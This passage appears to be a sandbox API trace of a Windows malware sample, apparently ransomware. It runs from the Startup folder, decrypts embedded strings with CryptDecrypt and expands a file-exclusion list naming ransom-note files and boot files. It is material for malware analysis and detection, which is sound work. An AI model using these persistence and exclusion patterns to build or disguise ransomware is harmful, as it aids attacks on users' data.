dwFlags=0x0, lpMem=0xe70550 | out: hHeap=0xe70000) returned 1 [0124.020] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x53fd24, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x53fd24*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0124.020] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe70578 | out: hHeap=0xe70000) returned 1 [0124.020] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x28) returned 0xe70550 [0124.020] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe786c0 [0124.020] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb8c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbf4 | out: phKey=0x53fbf4*=0x7b5be0) returned 1 [0124.020] CryptSetKeyParam (hKey=0x7b5be0, dwParam=0x1, pbData=0x53fbdc, dwFlags=0x0) returned 1 [0124.020] CryptDecrypt (in: hKey=0x7b5be0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe786c0, pdwDataLen=0x53fba8 | out: pbData=0xe786c0, pdwDataLen=0x53fba8) returned 1 [0124.020] CryptDestroyKey (hKey=0x7b5be0) returned 1 [0124.020] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78678 [0124.020] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbec | out: phKey=0x53fbec*=0x7b5e20) returned 1 [0124.020] CryptSetKeyParam (hKey=0x7b5e20, dwParam=0x1, pbData=0x53fbd4, dwFlags=0x0) returned 1 [0124.020] CryptDecrypt (in: hKey=0x7b5e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe78678, pdwDataLen=0x53fba0 | out: pbData=0xe78678, pdwDataLen=0x53fba0) returned 1 [0124.020] CryptDestroyKey (hKey=0x7b5e20) returned 1 [0124.020] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78720 [0124.020] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbe4 | out: phKey=0x53fbe4*=0x7b5e60) returned 1 [0124.021] CryptSetKeyParam (hKey=0x7b5e60, dwParam=0x1, pbData=0x53fbcc, dwFlags=0x0) returned 1 [0124.021] CryptDecrypt (in: hKey=0x7b5e60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe78720, pdwDataLen=0x53fb98 | out: pbData=0xe78720, pdwDataLen=0x53fb98) returned 1 [0124.021] CryptDestroyKey (hKey=0x7b5e60) returned 1 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe785a0 [0124.021] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbdc | out: phKey=0x53fbdc*=0x7b5d60) returned 1 [0124.021] CryptSetKeyParam (hKey=0x7b5d60, dwParam=0x1, pbData=0x53fbc4, dwFlags=0x0) returned 1 [0124.021] CryptDecrypt (in: hKey=0x7b5d60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe785a0, pdwDataLen=0x53fb90 | out: pbData=0xe785a0, pdwDataLen=0x53fb90) returned 1 [0124.021] CryptDestroyKey (hKey=0x7b5d60) returned 1 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7aac0 [0124.021] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbd4 | out: phKey=0x53fbd4*=0x7b5d60) returned 1 [0124.021] CryptSetKeyParam (hKey=0x7b5d60, dwParam=0x1, pbData=0x53fbbc, dwFlags=0x0) returned 1 [0124.021] CryptDecrypt (in: hKey=0x7b5d60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7aac0, pdwDataLen=0x53fb88 | out: pbData=0xe7aac0, pdwDataLen=0x53fb88) returned 1 [0124.021] CryptDestroyKey (hKey=0x7b5d60) returned 1 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe785b8 [0124.021] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbcc | out: phKey=0x53fbcc*=0x7b6060) returned 1 [0124.021] CryptSetKeyParam (hKey=0x7b6060, dwParam=0x1, pbData=0x53fbb4, dwFlags=0x0) returned 1 [0124.021] CryptDecrypt (in: hKey=0x7b6060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe785b8, pdwDataLen=0x53fb80 | out: pbData=0xe785b8, pdwDataLen=0x53fb80) returned 1 [0124.021] CryptDestroyKey (hKey=0x7b6060) returned 1 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x70) returned 0xe71490 [0124.021] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbc4 | out: phKey=0x53fbc4*=0x7b6160) returned 1 [0124.021] CryptSetKeyParam (hKey=0x7b6160, dwParam=0x1, pbData=0x53fbac, dwFlags=0x0) returned 1 [0124.021] CryptDecrypt (in: hKey=0x7b6160, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71490, pdwDataLen=0x53fb78 | out: pbData=0xe71490, pdwDataLen=0x53fb78) returned 1 [0124.021] CryptDestroyKey (hKey=0x7b6160) returned 1 [0124.021] htonl (hostlong=0xb4197730) returned 0x307719b4 [0124.021] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x20, pbBuffer=0x53fcb8 | out: pbBuffer=0x53fcb8) returned 1 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x28) returned 0xe71508 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe786a8 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4) returned 0xe755f8 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x14) returned 0xe71538 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78690 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x80) returned 0xe752c0 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78570 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x82) returned 0xe754a8 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe786d8 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4) returned 0xe78bd8 [0124.021] CryptGenRandom (in: hProv=0x7bbb78, dwLen=0x55, pbBuffer=0x53fc22 | out: pbBuffer=0x53fc22) returned 1 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe786f0 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x80) returned 0xe75348 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78660 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x2) returned 0xe78ba8 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4) returned 0xe78c88 [0124.021] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78588 [0124.022] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x80) returned 0xe75538 [0124.022] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78708 [0124.022] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x4) returned 0xe78d48 [0124.022] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe78ba8, Size=0x82) returned 0xe78d58 [0124.022] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe78d48, Size=0x100) returned 0xe78de8 [0124.022] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78738 [0124.022] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x82) returned 0xe78ef0 [0124.022] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe785d0 [0124.022] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x82) returned 0xe78f80 [0124.022] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe78d58, Size=0x104) returned 0xe79010 [0124.022] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe78de8, Size=0x200) returned 0xe79120 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78c88 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79120 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78708 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75348 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe786f0 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75538 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78588 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79010 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78660 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78ef0 | out: hHeap=0xe70000) returned 1 [0124.022] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78738 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78f80 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe785d0 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe755f8 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe786a8 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe754a8 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78570 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78690 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe78bd8 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe786d8 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71508 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71538 | out: hHeap=0xe70000) returned 1 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0xa4) returned 0xe752c0 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x66) returned 0xe754a8 [0124.023] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe754a8, Size=0xca) returned 0xe754a8 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78708 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0xb40) returned 0xe78d58 [0124.023] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbbc | out: phKey=0x53fbbc*=0x7b60e0) returned 1 [0124.023] CryptSetKeyParam (hKey=0x7b60e0, dwParam=0x1, pbData=0x53fba4, dwFlags=0x0) returned 1 [0124.023] CryptDecrypt (in: hKey=0x7b60e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe78d58, pdwDataLen=0x53fb70 | out: pbData=0xe78d58, pdwDataLen=0x53fb70) returned 1 [0124.023] CryptDestroyKey (hKey=0x7b60e0) returned 1 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10) returned 0xe78600 [0124.023] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fbb4 | out: phKey=0x53fbb4*=0x7b5f60) returned 1 [0124.023] CryptSetKeyParam (hKey=0x7b5f60, dwParam=0x1, pbData=0x53fb9c, dwFlags=0x0) returned 1 [0124.023] CryptDecrypt (in: hKey=0x7b5f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe78600, pdwDataLen=0x53fb68 | out: pbData=0xe78600, pdwDataLen=0x53fb68) returned 1 [0124.023] CryptDestroyKey (hKey=0x7b5f60) returned 1 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7aee8 [0124.023] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fb8c | out: phKey=0x53fb8c*=0x7b5b60) returned 1 [0124.023] CryptSetKeyParam (hKey=0x7b5b60, dwParam=0x1, pbData=0x53fb74, dwFlags=0x0) returned 1 [0124.023] CryptDecrypt (in: hKey=0x7b5b60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7aee8, pdwDataLen=0x53fb40 | out: pbData=0xe7aee8, pdwDataLen=0x53fb40) returned 1 [0124.023] CryptDestroyKey (hKey=0x7b5b60) returned 1 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x84) returned 0xe7b4b0 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x84) returned 0xe7b540 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7ad20 [0124.023] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fafc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fb64 | out: phKey=0x53fb64*=0x7b5ca0) returned 1 [0124.023] CryptSetKeyParam (hKey=0x7b5ca0, dwParam=0x1, pbData=0x53fb4c, dwFlags=0x0) returned 1 [0124.023] CryptDecrypt (in: hKey=0x7b5ca0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7ad20, pdwDataLen=0x53fb18 | out: pbData=0xe7ad20, pdwDataLen=0x53fb18) returned 1 [0124.023] CryptDestroyKey (hKey=0x7b5ca0) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7ad20 | out: hHeap=0xe70000) returned 1 [0124.023] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xe7b4b0, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b540 | out: hHeap=0xe70000) returned 1 [0124.023] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7aee8 | out: hHeap=0xe70000) returned 1 [0124.023] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe70580 [0124.023] CryptImportKey (in: hProv=0x7868d8, pbData=0x53fb20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fb88 | out: phKey=0x53fb88*=0x7b6060) returned 1 [0124.024] CryptSetKeyParam (hKey=0x7b6060, dwParam=0x1, pbData=0x53fb70, dwFlags=0x0) returned 1 [0124.024] CryptDecrypt (in: hKey=0x7b6060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe70580, pdwDataLen=0x53fb3c | out: pbData=0xe70580, pdwDataLen=0x53fb3c) returned 1 [0124.024] CryptDestroyKey (hKey=0x7b6060) returned 1 [0124.024] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x18) returned 0xe755f8 [0124.024] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x18) returned 0xe75580 [0124.024] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7ab58 [0124.024] CryptImportKey (in: hProv=0x7868d8, pbData=0x53faf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53fb60 | out: phKey=0x53fb60*=0x7b5ba0) returned 1 [0124.024] CryptSetKeyParam (hKey=0x7b5ba0, dwParam=0x1, pbData=0x53fb48, dwFlags=0x0) returned 1 [0124.024] CryptDecrypt (in: hKey=0x7b5ba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7ab58, pdwDataLen=0x53fb14 | out: pbData=0xe7ab58, pdwDataLen=0x53fb14) returned 1 [0124.024] CryptDestroyKey (hKey=0x7b5ba0) returned 1 [0124.024] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7ab58 | out: hHeap=0xe70000) returned 1 [0124.024] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xe755f8, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0124.024] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe75580 | out: hHeap=0xe70000) returned 1 [0124.024] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe70580 | out: hHeap=0xe70000) returned 1 [0124.024] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe7b540 [0124.024] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20a) returned 0xe7b758 [0124.024] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe7b758, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0124.024] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7b758 | out: hHeap=0xe70000) returned 1 [0124.024] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0xb38) returned 0xe7b758 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.024] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.025] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.026] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.027] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.028] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.029] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.030] GetLastError () returned 0x0 [0124.031] GetLastError () returned 0x0 [0124.031] GetLastError () returned 0x0 [0124.031] GetLastError () returned 0x0 [0124.031] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x12) returned 0xe70580 [0124.031] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x86) returned 0xe7c298 [0124.031] RtlReAllocateHeap (Heap=0xe70000, Flags=0x0, Ptr=0xe7c298, Size=0x9e) returned 0xe7c298 [0124.031] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1a) returned 0xe75580 [0124.033] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xffffffff) returned 0x0 